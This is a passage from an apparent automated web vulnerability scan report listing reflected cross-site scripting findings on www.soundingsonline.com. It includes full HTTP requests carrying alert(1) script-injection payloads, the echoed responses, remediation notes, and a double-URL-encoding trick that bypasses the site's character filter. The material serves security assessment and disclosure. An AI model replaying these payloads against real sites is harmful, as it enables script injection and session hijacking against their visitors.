GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=11874f%3balert(1)//ab4ff2d961a&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the base_bgcolor request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5afe3"%3balert(1)//006abc4a1a3 was submitted in the base_bgcolor parameter. This input was echoed as 5afe3";alert(1)//006abc4a1a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff5afe3"%3balert(1)//006abc4a1a3&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the clickable_slides request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload debb1%3balert(1)//390cebd0cf3 was submitted in the clickable_slides parameter. This input was echoed as debb1;alert(1)//390cebd0cf3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1debb1%3balert(1)//390cebd0cf3 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the interface_x request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 74487%3balert(1)//eed7b2c0841 was submitted in the interface_x parameter. This input was echoed as 74487;alert(1)//eed7b2c0841 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-2074487%3balert(1)//eed7b2c0841&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the interface_y request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 83470%3balert(1)//8c079405adc was submitted in the interface_y parameter. This input was echoed as 83470;alert(1)//8c079405adc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=083470%3balert(1)//8c079405adc&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the mid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3b6d"%3balert(1)//5a45291e6bc was submitted in the mid parameter. This input was echoed as e3b6d";alert(1)//5a45291e6bc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1e3b6d"%3balert(1)//5a45291e6bc&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:38 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the text_block_opacity request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 12cd9%3balert(1)//195831b8a90 was submitted in the text_block_opacity parameter. This input was echoed as 12cd9;alert(1)//195831b8a90 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=012cd9%3balert(1)//195831b8a90&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the thumbnail_border request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a678b%3balert(1)//9cf7ce79c61 was submitted in the thumbnail_border parameter. This input was echoed as a678b;alert(1)//9cf7ce79c61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1a678b%3balert(1)//9cf7ce79c61&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the thumbnail_border_color request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca19a"%3balert(1)//c1fee88792f was submitted in the thumbnail_border_color parameter. This input was echoed as ca19a";alert(1)//c1fee88792f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21ca19a"%3balert(1)//c1fee88792f&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the thumbnail_border_color_inactive request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8a1f1"%3balert(1)//90a46394978 was submitted in the thumbnail_border_color_inactive parameter. This input was echoed as 8a1f1";alert(1)//90a46394978 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff8a1f1"%3balert(1)//90a46394978&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the thumbnail_margin request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 97436%3balert(1)//8a6cc5501ee was submitted in the thumbnail_margin parameter. This input was echoed as 97436;alert(1)//8a6cc5501ee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66&thumbnail_margin=597436%3balert(1)//8a6cc5501ee&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the thumbnail_width request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 232a2%3balert(1)//686be8d0403 was submitted in the thumbnail_width parameter. This input was echoed as 232a2;alert(1)//686be8d0403 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/mod_gk_news_image_1/js/importer.php?mid=newsimage1&animation_slide_speed=500&animation_interval=9000&autoanimation=1&animation_slide_type=0&animation_text_type=0&base_bgcolor=ffffff&text_block_opacity=0&thumbnail_width=66232a2%3balert(1)//686be8d0403&thumbnail_margin=5&thumbnail_border=1&thumbnail_border_color=a81c21&thumbnail_border_color_inactive=ffffff&interface_x=-20&interface_y=0&clickable_slides=1 HTTP/1.1 Host: www.soundingsonline.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/javascript
The value of the img_width request parameter is copied into the HTML document as plain text between tags. The payload e4ade<script>alert(1)</script>e6a9f213599 was submitted in the img_width parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
The value of the modid request parameter is copied into the HTML document as plain text between tags. The payload 75723<script>alert(1)</script>13bc00b91d6 was submitted in the modid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/css
4.1432. http://www.soundingsonline.com/more/digital-publications [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/more/digital-publications
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3faa%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef66606158cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c3faa"><script>alert(1)</script>f66606158cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /more/digital-publications?c3faa%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef66606158cb=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:16 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1433. http://www.soundingsonline.com/more/the-masters-series [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/more/the-masters-series
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cbd9c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e72b8b831275 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as cbd9c"><script>alert(1)</script>72b8b831275 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /more/the-masters-series?cbd9c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e72b8b831275=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:56 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1434. http://www.soundingsonline.com/news [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23200%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e22acdd97a8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 23200"><script>alert(1)</script>22acdd97a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /news?23200%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e22acdd97a8=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:13 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1435. http://www.soundingsonline.com/news/coastwise [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/coastwise
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd689%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3604a112d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as cd689"><script>alert(1)</script>3604a112d5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /news/coastwise?cd689%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3604a112d5=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:24:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:24:53 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1436. http://www.soundingsonline.com/news/dispatches [name of an arbitrarily supplied request parameter]previousnext
